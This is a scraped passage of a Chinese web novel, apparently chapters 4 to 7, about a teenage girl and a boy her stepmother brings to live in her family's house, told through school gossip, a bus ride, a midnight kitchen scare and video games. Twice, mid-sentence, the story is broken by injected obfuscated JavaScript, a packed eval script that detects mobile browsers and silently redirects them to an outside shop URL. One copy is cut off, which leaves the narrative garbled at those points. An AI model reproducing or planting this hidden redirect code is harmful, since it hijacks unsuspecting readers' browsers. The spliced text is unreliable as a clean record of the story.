赵星茴瞟了她一眼,不甚好听地补了句:“那女的骂你脸大。我们俩脸型一样,那是婴儿肥、胶原蛋白,她骂你就是骂我。” “谢谢啊……”方歆捏着比她圆一圈的脸颊肉,绝倒。 借着“脸型一样”这个共同点,两人后知后觉建立了友谊,越走越近,形影不离。 实话讲,赵星茴虽然有那么点公主病的调调,但人不算难伺候,起码言行一致心口如一,没有七拐八弯的小心思,集体活动也还算配合,不让人讨厌。 两人一起去食堂吃午餐,方歆兴致勃勃说遇见闻楝的事儿,赵星茴意兴阑珊说不认识不知道没见过,只顾往嘴里塞水果沙拉。 “哎,他真的很温柔很好说话,笑起来也很清新。” 方歆认真分析,“星茴,他极有可能就住在咱们那一片区,讲不定还是你邻居呢,要不咱们问问他,说不定还能交个朋友……” 赵星茴死活说不。 班上几个女生端着餐盘过来,看见方歆和赵星茴,打了个招呼,叽叽喳喳挨着她们坐下,“你们听说没有?” “怎么了?” “还记不记得以前班长说,有个男生要转过来,老班让班长开学去教务处申请教材和桌椅,谁知道后来人就不来了。” 有人插嘴:“那就是闻楝,他本来是咱们班的插班生。” 方歆差点蹦起来:“啊?!!” “学习委员去班主任办公室领材料,偷听到老班跟楼下班的老师玩笑闲聊,说咱们班丢了个好学生,说什么本来教务处那边的转学名单都定在了咱们班,没想开学前突然转去了别班,临时接手的班主任起初还挺不乐意,以为是塞钱进来的关系户,没想是个数一数二的好苗子,真是天上掉馅饼,白捡便宜了。” “那本来是咱们班的帅哥啊。”某女生仰天长恨,“真是天上掉馅饼,给楼下班白捡便宜了。” “他要是在咱们班,就那成绩,优秀班级这还用竞选吗?妥妥花落咱家啊。” 方歆目瞪口呆:“闻楝为什么要转到楼下去?” “老班也没仔细说,好像说什么不太适合放在咱们班。” “老班也真是有眼无珠啊,不知道挽留吗?” “哪个天杀的把人给弄走的?” 始作俑者在一旁咯嘣咯嘣咬苹果块,先是冷脸,继而黑脸,最后差点翻脸。 转学的事情,是赵坤则帮闻楝安排的。 当初托赵星茴的福,赵坤则进学校喝了不少茶,也七拐八弯认识了教务处的某位校领导,赵坤则想着两个孩子在同班级有个照应,也更方便些,就特意托人安排一下,谁知道后来赵星茴在家闹得鸡飞狗跳,虽然答应闻楝住在家里,但说什么都不肯跟闻楝同班,赵坤则拗不过她,这才临时打招呼,费了好大人情,把闻楝转去了别班。 班上女生为这事义愤填膺又万分惋惜,方歆恨不得捶桌:“我去问问闻楝,他为啥不来咱们班。” . 放学后,闻楝会在学校多留一个小时,看书做作业或者打球运动,而后搭公交回家,到家时间控制得很好,不至于回去得太早碍人眼,也不会太晚让燕姐担心打电话询问。 他在公交站台看到方歆时,很自然地打了个招呼。 待看到方歆身后的赵星茴,闻楝脸上的表情从平静切换到另一种微妙的平静。 赵星茴斜眼望天,一副若无其事又无语至极的表情——她不想因为这事被全班女生戳脑门,也不想跟方歆掰扯,只能撇下司机,不情不愿地被方歆拽过来。 方歆笑着摇手:“嗨,闻楝。你今天也坐公交啊?” 闻楝说是。 “好巧,我跟星茴也是,今天我们班体育课延时,下课晚了。哦,对了,这位是我好朋友,赵星茴,我俩一个班的。” 除了闪过的眼神,没人往下接话——方歆没注意这两人的姿势有如出一辙的生硬。 三人坐上同一部公交。 正赶着下班时间,学生和上班族一起往里涌,车厢里没有空座,中间挨挨蹭蹭站满了人。 被人群包围的赵星茴脸色很臭。 闻楝找了靠窗的角落,脸朝两位女生侧了侧,方歆明白他的意思,拽着赵星茴,挤开人群过去。 他让出地方:“你们站在这儿吧。” 公交颠晃,周围乘客推搡着,赵星茴什么时候挤过公交,被方歆往前推,“星茴你过去点。” 赵星茴毛毛躁躁地往角落走,闻楝看她过来,侧身闪了下,很明显是避让,她堪堪扶着车窗站定,身边乌泱乌泱的人烦死了,偏偏那副清削的肩膀以从来没有的近距离杵在她眼前,少年清爽气息扑面而来,赵星茴眼帘往上一掀,闻楝长睫低耷,两人的目光在电光火石的间隙闪了下。 他黑眸平静温和。 她那双眼睛也清澈,圆溜,作天作地的不高兴。 闻楝偏过脸,默然后退两步,站到了方歆身边——那动作怎么看怎么有唯恐避之不及的嫌疑。 赵星茴莫名不爽。 不爽——“他什么意思?两次那么明显的动作,好像是什么脏东西似的,嫌弃她?”还是“他怎么敢?什么态度啊?”抑或是“他凭什么抢她的动作?” 没人睬她。 方歆和闻楝的距离聊天刚刚好,两人已经撇开赵星茴聊起来了。 “车里有点挤啊,哈哈。” “再晚十分钟,这趟车就比较空。”闻楝道,“下次坐公交的话,可以晚一点上车。” “你每天都坐公交回家啊?” “嗯。” “听说你是从邻市转学过来的,是跟着家里人搬家过来吗?” “不是。” “你一个人吗?” “嗯。” 闻楝眼睛望着车窗外,话少得出奇。 “那你待得还习惯吗?” “还好。” “我听我们班主任说,你好像一开始要转学到我们班哦,后来怎么突然调到别的班去了,为什么呀?” “我不知道这件事,可能是家里的安排。”闻楝睫毛一闪,嗓音平和,“也许老师更适合。” “好可惜,你要是来我们班多好。” 话没聊多少,闻楝很快就准备下车,下一站是市图书馆,他客气礼貌:“我去图书馆还书,你们路上小心。” 方歆望着他下车的身影,挠了挠脑瓜子,还没说什么,身边的赵星茴双手一抱,鼻尖皱得老不高兴,脸颊鼓鼓,气呼呼道:“绝对没有下次。” . 家里已经到了晚饭时间。 燕姐做好晚饭,还不见闻楝回家,怕他路上有什么事,打电话问才知道他还在图书馆,催着他早点回来吃饭。 褚文兰老担心闻楝在家受委屈,但燕姐看了这么久,其实也没什么事。 父母不在家,赵星茴自由自在,该吃吃该喝喝该睡睡,半点不闹腾,和闻楝也是井水不犯河水,一点事儿都没有。 赵家的习惯是一道吃饭,闻楝让燕姐不要等,家里先吃。 等他到家时,赵星茴已经坐在了餐厅,脚边还躺着舔毛的猫,爆爆听见声音,昂着脖子冲闻楝“喵”了声,赵星茴眼神冷淡一睇,埋头喝了两口汤,把筷子一放:“燕姨,我吃饱了。” 她捞起猫,长发一甩,脚步蹬蹬上楼。 有些东西随主,包括头发丝也是,高不高兴,什么时候高兴,一眼就看得出来。 至于为什么不高兴,赵星茴理直气壮地想,他害她今天挤公交,态度还恶劣,一天的好心情都被他毁了。 闻楝回房放书包再洗手,坐在餐桌旁开始吃饭。 赵坤则和赵星茴不太能吃辣,但邻市,褚文兰和闻楝的口味都偏辣,司机也是,燕姐调和全家人的口味,什么菜都做,吃饭的时候分餐,拨出一半留给自己和司机,一半端上桌。 餐桌上有道辣子鸡,看得出来没怎么动过筷子。 闻楝一筷子挟下去就尝出了问题——很咸。 仔细看,菜里还有没化开的极细的白色盐粒。 汤盅旁搁着个盐罐,燕姐在厨房说:“小茴说今天的汤有点淡了,阿楝你尝尝,不够就自己加点盐。” “还好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵星茴心领神会。 “你最好是。”她鼻尖一翘,哼哼两句,“别给我添麻烦。” . 压根不用闻楝说什么。 方歆发现端倪是在某天早晨。 方歆以前都是早早搭爸爸的车上学,方妈妈是全职太太,负责下午接她回家。秋冬天冷,方歆起得晚,改成方妈妈早晚接送。 那天早上方歆打着哈欠,揉揉眼睛说是前面是赵星茴家的车,让妈妈开车跟着,她想跟星茴一起进教室。 学校周边多少有点堵车,赵星茴家的车停在不远的路口,方歆先看见赵星茴下车,还没来得及喊她,那辆车副驾又下来一个人——闻楝。 方歆瞪眼:“????” 她一直没搞清楚闻楝具体住哪儿,也没从赵星茴嘴里听说过闻楝。 但不对啊。 这两人压根不认识啊。 但怎么说……赵星茴好像对闻楝,是有那么点奇怪的敌意哦?! 论八卦,全班没人比得过方歆。 方歆揪着赵星茴,旁敲侧击、直面攻击,念叨了三天三夜,翻来覆去问了一百遍。 最后赵星茴仰头暴躁,烦不胜烦:“对,他就住在我家,是我后妈带到家里来的。” 方歆眼睛蹭地发亮:“不对啊。你后妈有儿子?她不是早就跟你爸在一起了吗?” “不是,是她朋友的儿子,被她接到家里来养。”赵星茴不耐烦,“我什么也不知道,过完暑假回国,他就出现在了我们家。” “那到底怎么回事?” “我就是不想跟你说很多嘛,因为要解释很多。”她罕见地有点沮丧,坐在操场看台吹风,嘟囔着,“我不想讲,也不想听很多心烦的事。再说,人家也有隐私,我不想随便说。” 当时赵坤则对她说了很多,这是赵星茴最大的让步:“反正他会在我家一直住下去。” 方歆拍拍她肩膀:“好嘛。” “那么,闻楝转到楼下班,不会是因为你吧?” “我对他已经够好了。”赵星茴拗起脸,“我为什么还要跟他同班?他每天都给我添堵,你没看见我爸,对着他笑眯眯的,嘴都咧到耳朵根了,对着我,眉毛都能夹死苍蝇。” 坐在教室里的闻楝万万没有想到——赵星茴能问心无愧地说出“我对他够好”这句话。 5. 第 5 章 有些人自我调节能力超强,再烦恼的事儿也不会变成自身的困恼。 说的是赵星茴。 屋子太大,多住一个人也没啥感觉,安排太满,能转移注意力的事情太多,天气变冷,一个学期咻咻地过去了。 寒假来临,唯一的不快是赵坤则看到了期末的成绩单。 闻楝的成绩足以让赵坤则确定资助这个少年是个正确决定,但另外一张成绩单,赵坤则额头青筋又跳了跳,好歹没说什么,准备让赵星茴的成绩烂在泥里。 闻楝收拾行李,打算回邻市过寒假,毕竟假期中间有个春节,他也不是没有家和亲人,有住在一个屋檐下的亲大伯姑姑,远远近近的亲戚也不少。 褚文兰本意是让他寒假就留在赵家,但闻楝说要回家,她也没拦着,说安排司机送他回邻市,又说年后她也要回一趟老家,到时候两人可以一起回来。 好不容易放个长假,赵星茴玩游戏玩得天翻地覆,睡觉睡得暗无天日,某天突然回味过来——连着好几天都只有她一个人吃饭。 不知道闻楝是什么时候走的。 她不感兴趣,也没问。 方歆来找赵星茴玩,两人看电视玩游戏听歌跳舞不亦乐乎,又带着爆爆洗澡晒太阳,拿着电动宠物玩具满屋子逗它。 玩到兴起,方歆胳膊怼怼赵星茴,突然换话题:“闻楝在你家还真没存在感。” 赵星茴:“哈?” “你瞧,家里到处都没有男生用的东西,怪不得我之前来都没发现你家多住了一个人。”方歆挤挤眼睛,“也就刚才阿姨打扫卫生,我瞄了一眼客房才知道里面有住人,桌上放着喝水的杯子和教辅书呢。” 赵星茴哼哼:“你不去当私家侦探真可惜。” 方歆托腮:“他什么回来呀?开学再回来吗?” “你管人家呢。”赵星茴满不在乎,“讲不定什么时候突然又冒出来了。” 赵星茴什么都不管,只顾自己玩得开心,假期最不缺的就是娱乐,她宅家自娱自乐或者跟朋友出门玩,还要跟着赵坤则拜年吃饭,正月里各种流水席不断,眼见着白里透红的脸颊嘭嘭鼓起来。 她从小就受宠,家族同辈分又多是男孩,大家都愿意带着她玩,整个春节里赵星茴压根没闲着。 赵家有个大堂哥,年过三十还没成家,兴趣爱好是游山玩水和极限运动,逢年过节最爱组织各种家庭娱乐活动,身边张罗了一堆弟弟妹妹。 赵星茴跟着哥哥姐姐们吃饭唱歌打牌、玩保龄球、烧烤爬山、农家乐旅游。 玩了不少天,堂哥想着她要开学念书,不敢让她再野,从景区回来就把她送回了家。 家里也没人。 之前赵星茴一直跟着堂哥吃喝玩乐,也没在自己家住,赵坤则和褚文兰忙着各种人情往来和应酬,也很少待在家,燕姐休假回自己家过年,虽然还有个白班阿姨,干完活也是早早下班了。 赵星茴自己在家呆了几天。 吃了睡,睡了吃,看看电视,打打游戏,作息日夜颠倒,一觉醒来,正是夜半两点。 她起床,浑浑噩噩下楼觅食。 家里不缺吃的,到处是年货礼盒,厨房冰箱一打开就是鲍鱼燕窝佛跳墙,赵星茴连多看一眼都腻得慌,想起前几天跟堂哥去爬山买了袋零食,下车后堂哥又把零食袋塞给她,倒腾半天,翻出了一桶新口味杯面。 赵星茴唯一的厨艺得以施展,她在厨房把面泡了,加了颗鸡蛋,懒洋洋地端着杯面回房间。 不过是路过餐厅时打了个哈欠,泪花冒出来时,赵星茴瞥见冰箱门轻轻摆动了一下,似乎有点什么声响。 而后有人——不甚明亮的灯光下,冰箱门后闪过一片浅色的格纹衣角,半幅清削身形突兀出现,一只手握住了冰箱门,“嗒”地轻轻关上,长腿迈动,转身面对她…… 连续数日没在家里看见一个人,夜半时分灯光昏暗的餐厅,睡觉之前赵星茴看了十几个小时的电视,这一秒脑子短路,突然浆糊似的炸开,在那人面孔出现时,她浑身一激灵,惊恐短促地尖叫了一声,往后退了一大步,手臂发软,杯面“砰”地砸在地面。 闻楝捏着水杯出现。 他抬起眼,错愕地看着面色惊恐的少女和满地狼藉。 不知道是之前太过忽视,还是一个月不见的原因,闻楝好像长高了一点,睡衣裤管空荡,头发蓬松微乱,眉眼清柔,肤色霜白。 赵星茴没见过他这样,也真的没认出是他。 刚才那秒她真的快吓死,腿也软了,脑子也炸了,破音吼他:“闻楝!!!!!!!!!” 第一次喊出了他的名字。 “你是不是有病啊???!!” 赵星茴把仅剩在手里的泡面叉子砸他,“你能不能有点声音????” 手上哆嗦,白色的一次性叉子轻飘飘落在地上的泡面汤中,离闻楝老远。 她穿毛绒绒的兔子拖鞋和垂到脚踝的白色睡裙,衣服拖鞋全溅上了泡面汤水,长发凌乱,面色苍白,圆溜的眼对他怒目而视,火冒三丈。 很奓毛。 “对不起。我喝水……”闻楝也怔住。 他没想吓她,举起手中水杯,嗓音有变声期的沙哑,“喉咙有点干,我出来倒杯冰水喝。” 家里地暖开得很热。 赵星茴发抖的身体还没平复,又气又难受,咬牙切齿,恨不得撕他,“你半夜回来干嘛?” “我前天回来的。” 他已经在家呆了两天,赵星茴不知道。 或者说,压根没注意,没留神。 “在家不知道出点声音啊?!我怎么知道你在家。”赵星茴大吼,“就知道半夜三更吓人。” “真的很抱歉,我不是有意要吓你。”闻楝抿了下唇,“屋里只开了一盏夜灯,我也没注意,不知道你在厨房。” 人都快吓死了,泡面也撒了,气也气死了,赵星茴头疼得不想搭理他,恶狠狠吼:“那就麻烦你有点存在感,出点动静,别冷不丁出冒出来。” 她提起溅了一身汤水的睡裙,蹬蹬蹬上楼,气急败坏:“真是的,这家里什么阿猫阿狗都能进。” 爆爆被楼下动静吵醒,叫唤着从房间跑出来,凑上来嗅她裙角的泡面味,喵喵两声,似乎很苟同赵星茴这句抱怨。 闻楝沉默着敛目,也没说什么,只是道:“对不起。我再煮一碗泡面给你。” 回应他的是赵星茴的摔门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726284|189465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 . 就剩闻楝。 他眉棱蹙了一下,而后弯腰收拾地上狼藉,把泡面桶捡起来,拖地擦地,再拧开一盏夜灯,洗手回房间。 赵星茴气得要命,换了睡衣,躺在床上滚了几回才让自己平静下来,脑子也清醒了,精力也没了,肚子也不饿了,只是躺着发呆。 再睡不着了。 一个小时后,赵星茴掀开凌乱被窝,冷冷“哼”了一声,赤脚从床上跳下来,在视线内捞起一个看起来很结实的木质装饰品。 她找准地方,盘腿坐下,举着东西敲地板,宛如和尚敲木鱼。 “咚咚咚……” “咚咚咚咚咚……” 闻楝在黑暗中睁开眼睛,抬头盯着正上方的天花板。 一分钟之后,声音停住。 二十分钟之后,声音又响了。 “咚咚咚咚咚咚咚……” “咚咚咚咚咚咚咚咚咚咚……” 谁也别想睡。 闻楝无可奈何地睁开眼,又闭上,忍耐地拧起眉棱。 . 燕姐结束年假,第二天早早回来上班。 早饭还没做完,就看见两个孩子陆续出现在餐厅,看起来都有点精神不振。 “小茴,你是不是昨晚没睡好啊。”燕姐惊讶,“阿楝你也是啊,是不是哪里不舒服?” 赵星茴纯粹是饿的,下楼来等饭吃。 闻楝那是真没睡,被赵星茴吵了几次,后半夜一直醒着。 两人第一次异口同声,嗓音萎靡:“没有。” 意识到对方在说话,两人又都收回话,各自撇开脸,井水不犯河水地坐着。 燕姐还在厨房烤吐司,闻楝走过去帮忙,把已经做好的餐点端上餐桌。他先盛海鲜粥,低眉顺眼端着粥碗,手顿住,似乎在想什么,再抬起眼,正撞上赵星茴望过来的目光。 赵星茴岿然不动坐着,睫毛一闪,眼神游离。 闻楝睫毛低垂,把粥碗放在了她面前,以极平和的嗓音道:“抱歉。” 男孩子的手指闪过她的眼帘,赵星茴脑海里闪过他挠爆爆下巴的画面,手指细而修长,干净,骨节分明。 海鲜粥热腾腾的香气扑来,赵星茴肚子暗暗“咕”了一下。 她真的饿了。 没说“不要”,但还是拗起了下巴,很重地瞪了他一眼。 接下来的事情顺理成章,闻楝服务体贴入微,给她搁好筷勺,拿餐盘挟培根、虾仁和其他的点心。 赵星茴杏眼飞睃,冷声:“不要煎蛋。” 公筷顿住,闻楝越过煎蛋,挟起坚果和水果粒,轻轻把餐盘搁在她手边。 要不是他半夜吓人,她现在也不会眼巴巴坐在这儿。 赵星茴有了颐指气使的底气:“橙汁。” “好。” 闻楝转身去拿杯子给她倒鲜橙汁。 腹如火烧,赵星茴迥然以前心不在焉捏筷子的模样,快速安静地吃起东西,她吃东西的样子不难看,脸颊鼓鼓,肤色红润,嘴唇饱满,是少女的活泼灵动。 等放下筷子,赵星茴的脸色终于有了好转,眉目舒展,提着裙摆,叮叮当当地飞上了楼。 6. 第 6 章 寒假苦短,学海漫长。 即便是在私立学校,初三毕业班的学习负担当然要加重,以前赵星茴有固定的家庭教师管束她的课业,后来她发脾气不愿意,褚文兰把老师们都辞退了,才让她消停下来。 寒假看过她那张成绩单后,赵坤则想等赵星茴初中结业后,把她送到新加坡她亲妈那去念书,她其实打小就跟妈妈更亲近,有亲妈的照顾,生活和择校安排都不是问题,也许孩子也能更长进一点。 父女俩在开学前谈了一次,赵坤则喝着败火凉茶好好跟女儿说话,这事他和前妻达成共识,也想哄哄赵星茴。 但赵星茴最擅长的是不让任何人如愿。 她不去。 不过谈话还是略有效果,赵星茴稍稍收敛——至少每天早上的动感电音结束了。 她直接戴上了耳机。 另外,她和闻楝近来相安无事。 也许是过了同住一个屋檐下的磨合期,或者看哪哪都不顺眼变成了熟视无睹,至少近来赵星茴安安分分,没有闹出一点幺蛾子。 早上两人上学,闻楝偶尔也跟司机聊几句,这位司机是褚文兰的远房表舅,对闻楝也算照顾,闻楝对他也是礼貌尊敬。 赵星茴戴着耳机坐在后面,置身事外,要么撑着脸颊闭眼发呆,要么低头玩手机。 要是车子停在校门口,但赵星茴还没回神—— 那么,闻楝只能代劳司机,打开车门,恭迎大小姐下车。 赵星茴扭过脸,黑白分明的眼睛往他脸上一瞟,摘下耳机,抓起书包,跨出车里,从来不说谢谢,甩下他就走。 第一次说话是下雨天。 春天天气多变,出门时天气还好好的,半路突然下起了急雨,学校门口堵得一塌糊涂,司机说车里有雨伞,但又不方便靠边停车,只能麻烦闻楝照顾一下星茴,两人多走几步。 一把黑柄木质伞,伞面挺阔,两人够用。 闻楝撑着伞,拉开了后座车门。 赵星茴还是先瞟了他一眼,收拾东西下车,闻楝眉眼在雨帘和黑伞的映衬下是少年的清柔,他伸直手臂,给她腾出空间,伞面又尽量倾向她:“小心地上的积水。” 已经是超出年龄的细心和熨帖。 赵星茴轻盈地从车上跳下来,跨过地上的水洼。 闻楝一手去关车门,一手还撑着伞,赵星茴书包上的长尾巴玩偶甩在他手臂,连带着雨伞晃动,伞沿的雨滴全甩在赵星茴脸上。 “喂!” 她鸦黑鬓角碎发微湿,滚着水珠的脸清透白皙,仰头面对他,抱怨的神色很生动,“全都甩我脸上了,还有眼睛里。” 闻楝把伞倾向她,抿唇:“抱歉,我不是故意的。” “你每次都不是故意。”赵星茴微恼着伸手去擦脸上水痕,“都是我倒霉。” 伞外的雨没有小到可以让人冒雨进校也能全身而退,也不至于大到无论如何都会淋湿所以可以自暴自弃,属于稍微多淋点就会打湿自己,护得周全点也能干爽的范畴。 闻楝一声不吭撑着伞跟着她,赵星茴也只顾自己走,两人从没有离这么近,好像是迫不得已被收拢在同个空间下,又要尽可能拉开距离,怎么走怎么别扭。 春天的雨湿漉微凉,有草木清新的气息,呼吸和雨声脚步声缠在一块,像银色微黏的细长蛛丝。 闻楝更想淋雨,想了想,把伞递到她眼前:“我把伞给你,我自己走过去。” 赵星茴双手环抱,是个戒备的姿势:“我不要。” 又补了一句:“伞太沉,你给我撑着。” 闻楝无话可说。 两人别别扭扭地往学校走去,没有默契,步伐和距离都很难控制,闻楝越走越沉默,伞面也越来越倾斜,完全罩住了赵星茴身边的空间。 他半个肩膀都淋在外头。 “你干脆把伞盖我脑袋顶上好了。”赵星茴不高兴,“挡着我了,我看不见前面的路。” “抱歉。” “这样。”赵星茴目光瞟过去,伸手扶住伞柄,把伞推回他那侧,两人中间线,“你不许动,不许把伞移过来。” “……好。” 两人一路无言,走到教学楼,还没等闻楝说话,赵星茴已经闪了。 . 这个学期还有点不同。 新学期换了新课表,周三上午最后一节是体育课,等赵星茴听见同学的议论,再看见操场另一侧的闻楝,才知道两个班的体育课撞在了一块。 这跟她没关系,但是班上的女生很高兴。 每节课体测结束后,两个班的男生会约着去球场打会篮球,闻楝也在其中,女同学们每次都去观战捧场。 方歆眼巴巴望着:“好嘛,今天人都跑光了,一个打羽毛球的都没有。” 就她和赵星茴俩人拎着羽毛球拍。 赵星茴:“有什么好看的。” 方歆眨眼:“你放心,就算全班人都离你而去,我永远坚定地站在你身后。” “别以为我看不出来你也想去。”赵星茴冷言。 “星茴,你就承认吧,你是一叶障目。”方歆笑,“闻楝真挺受欢迎的,就你不待见他。” 赵星茴不屑:“你这句话没有逻辑。” 凭什么因为“他受欢迎”就需要“她待见”? 体育课结束,大家运动过量,先赶着去食堂吃饭,方歆和赵星茴挨着同班女生坐下,抬眼发现闻楝和同学坐在隔壁桌。 食堂是长条型餐桌,赵星茴和闻楝现在的距离,大概也就是在家,他俩坐在餐厅吃饭的距离。 不同的是,在家两人中间空荡荡,现在两人中间隔了七八个人。 大家嘻嘻哈哈地聊着天,话题从学校八卦到作业考试,甚至今天的菜色,闻楝显然是男生中最惹眼的那个,从对话和互动来看,显然也是最受女孩子欢迎的那个。 早春的天气,他刚打完球,头发浓黑,微微汗湿,只穿一件浅色帽衫,直鼻薄唇,皮肤洁净,抬头和朋友说话,腼腆浅笑里有阳光清爽的好脾气,低头吃饭时,长睫低垂的模样又是柔软温顺。 赵星茴以前没正眼看过他。 现在看了一眼。 他脸颊的酒窝很明显,这个柔和的笑容,对着赵坤则和褚文兰的时候有,对着燕姐和司机也有,对身边每一个同学都有——唯独没有对着赵星茴。 赵星茴想起来,闻楝在她面前总是沉默温顺、保持距离。 非常OK。 赵星茴觉得他笑得很虚伪,如果他摆出这副笑脸对她的话,别说待见了,她大概会讨厌死他。< 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“嗯。”赵星茴嘟囔,“说了不要了,她偏偏要寄。” 她摆弄着两个最新款的switch,扔一个给方歆:“玩游戏吗?褚文兰给我买了一个,我妈也给我买了一个。” “你真让人羡慕啊。”方歆眼冒红星,“星茴,大家都好宠你。” 赵星茴撇嘴:“有什么好羡慕的。” 两人窝在懒人沙发打游戏,燕姐上楼来喊她们喝汤,两人又一起下楼。 闻楝也在楼下。 他换了衣服,洗过手,正好要出门,也是被燕姐喊住坐下。 三人坐在餐桌旁喝汤,方歆左瞅瞅赵星茴,右瞅瞅闻楝,捏着汤匙噗嗤笑:“你俩平常都这么坐吗?这距离起码隔着个太平洋吧,好夸张。” 赵星茴和闻楝都停住了汤匙。 “不许说话。”赵星茴抿唇,“好好喝你的汤。” “怪不得你俩能大半年都不说话,我现在理解了。”方歆做了个动作,把嘴缝上拉链,“隔这么远,都听不见对方说什么吧。” 赵星茴恼羞成怒,在方歆后背拍了一把。 “咳咳……”方歆把嘴里的汤都喷出来。 闻楝垂眼,把纸巾推过去:“小心别呛着。” “谢谢。” 喝完汤,方歆抱着switch跳到客厅,举手提议:“星茴,咱们俩游戏pk也玩不起来,人越多越好玩,不如三个人一起玩吧,你最喜欢的那个游戏,马里奥还是萌神乐园。闻楝,一起来吗?” 赵星茴眼珠还没转,闻楝已经起身,拎起放在旁侧椅子上的书包,淡声道:“抱歉,我去图书馆……” 他要是答应,赵星茴可能还要多想两秒,但闻楝一秒都没有停顿,直接拒绝。 赵星茴有逆反心理。 “不行。”她嗓音脆脆,喊住他,“你不许走,跟我们一起玩游戏。” 闻楝顿住脚步,回头看着她,眼神冷静而幽黑,很认真地和她说:“抱歉,我不喜欢玩游戏。” 赵星茴盯着他看。 “我不喜欢听你说抱歉。”她翘起唇角,歪起脑袋,露出甜美又狡黠的笑容,“请你说‘好的’,然后留下来陪我们哦。” 7. 第 7 章 闻楝游戏玩得很好。 在赵星茴巧笑嫣然说出那句不算威胁的话后,他的黑眸明显有不想顺从的冷锐光亮,然而只是回视她,再放下书包,顺从地走到客厅。 Switch连着电视机,挑了卡带,闻楝席地而坐,姿势规规矩矩,赵星茴和方歆窝进了沙发,两人嬉笑玩闹没个正行,直到闻楝的分数开始直线上升,直接碾压她俩。 赵星茴开始不闹了,笑颜也慢慢收敛,专心盯着电视屏幕。 她想闻楝这种人——无任何嗜好的乖乖好学生,游戏刚开局还很缓慢的进度,怎么突然就飞升了。 赵星茴神色越来越认真,最后跳下软绵深陷的沙发,正儿八经坐在到闻楝身边:“我不信我比不过你。” “你俩等等我。”方歆也跳下沙发。 三人并肩坐着,也不笑闹了,神情齐刷刷的无比专注,连燕姐过来送水果都没察觉。 游戏一直玩到方妈妈打电话喊方歆回家才结束,方歆一走,赵星茴也累了,刚直挺挺地在地毯上坐了几个小时,她把自己抻成一条直线,趴在沙发上休息。 闻楝起身收拾残局,赵星茴闭着眼,嗓音软困:“我要喝水。” 也不知道跟谁说的。 他顿住手,默不作声,弯腰把刚才燕姐搁在茶几的可乐递在沙发扶手。 赵星茴眯开一条眼缝,换另一侧脸颊枕着,懒洋洋开口:“榨汁杯,草莓奶昔。” 她使唤人天经地义,娴熟无比。 闻楝心平气和迈步走去餐厅。 “还有冰块。” 赵星茴加了一句,陷在沙发里换了个更舒服的姿势。 等闻楝把加冰的草莓奶昔端过来,赵星茴慵懒坐起来,杏眼微饧,脸颊红扑,心满意足地喝了口新鲜饮品,看闻楝一侧肩膀搭着书包,出门要走,难得有兴致问他:“你去哪?” “图书馆。”他温声答。 赵星茴挑眉,敏锐地嗅出了某种潜于深层的抗拒。 她不喜欢他这个回答:“可是你说好不去图书馆。” 闻楝微微敛眉:“游戏已经玩完了。” “没有。”她临时改主意,笑得娇气可爱,“方歆走了,我们俩玩。” “继续。”她手指甩起手柄,洋洋得意,“刚才你赢了我两轮,这次我要赢过你。” 闻楝又扔下书包坐下,眉眼明显是冷的,两人也没计较,各自坐在地毯,背靠着沙发一端,又摁开了电视屏幕。 游戏需要技巧和天分,赵星茴爱懒,玩游戏也爱出其不意,这回铆足了劲跟闻楝杠上,没察觉两人坐得越来越近。玩到后半段,赵星茴速度追不过闻楝,硬凑过来,跟他换过一次手柄。 “我的手柄不灵。”她理直气壮,“我习惯用你这个。” 后来手柄又换回来,“这个颜色我不喜欢。” 闻楝随她霸道。 “你以前玩过这个游戏?”她蹙眉咬唇。 “没有。” “那你玩这么好。你以前都玩什么?” “看别人玩过。” “只看?” “嗯。” “你不喜欢玩游戏?” 闻楝言简意赅:“不。” “我就知道。”赵星茴哼声。 屋里光线渐暗,鲜艳的屏幕画面照耀着她的脸色,如霞光潋滟,“所以褚文兰喜欢你呀。” 住进来第一天,闻楝已经了解这个家庭的敌意。 但他必然维护褚文兰,淡声道:“兰姨对我很好。” “当然喽。” 她扭头看他,杏眼灵动,笑得古灵精怪,“全家只有我对你不好。” 闻楝莫名怔住,半响后才试图挽回谈话方向,平静否定:“没有。” 赵星茴才不管什么尴尬不尴尬,把两人手柄都抢了,往沙发底下塞,长腿一搭,又挂沙发上:“好累,好饿,我要吃薯片。” . 春天眨眼就是花红柳绿,盎然生机。 赵星茴剪了齐肩短发,穿短裙,披软绒绒的毛线开衫,白色袜筒绣黑线小猫,露着雪白匀称的腿,清新如荷,亭亭玉立。 周末天气好,她和方歆约着打网球,两人骑着自行车出门,还带上了爆爆——前阵子赵星茴带爆爆去宠物医院打针,医生说猫咪太胖,让多运动。 赵星茴把爆爆放进车篮,狮子猫雪团似的躺满了车篮,只留一双鸳鸯眼好奇地张望外界,两人笑声清脆,花蝴蝶似的飞去网球场。 刚走出别墅区,浓密墨绿的树荫和斑驳阳光交错的林荫道上,白衫黑裤的少年行步其中,碎密漆黑的短发晃过碎金的光。 方歆刹车跟闻楝打招呼,问他去哪。 肯定又是图书馆。 赵星茴压根没停,眼风都没落下,风一样掠过闻楝身边,把车铃揿得叮叮当当响:“方歆,快点快点。” 方歆:“闻楝,你要不要跟我们一起去打网球。” 他身姿挺拔地站在树下,像树杪清新的叶:“不用了,谢谢。” “方歆,我先走了——” “星茴,你等等我。”方歆歉声道:“下次有空你跟我们一起去玩。” 闻楝微笑点头。 等方歆追上赵星茴,气吁吁问她骑那么快干嘛,赵星茴撇撇嘴不说话,眼睛和爆爆一样滴溜溜地转。 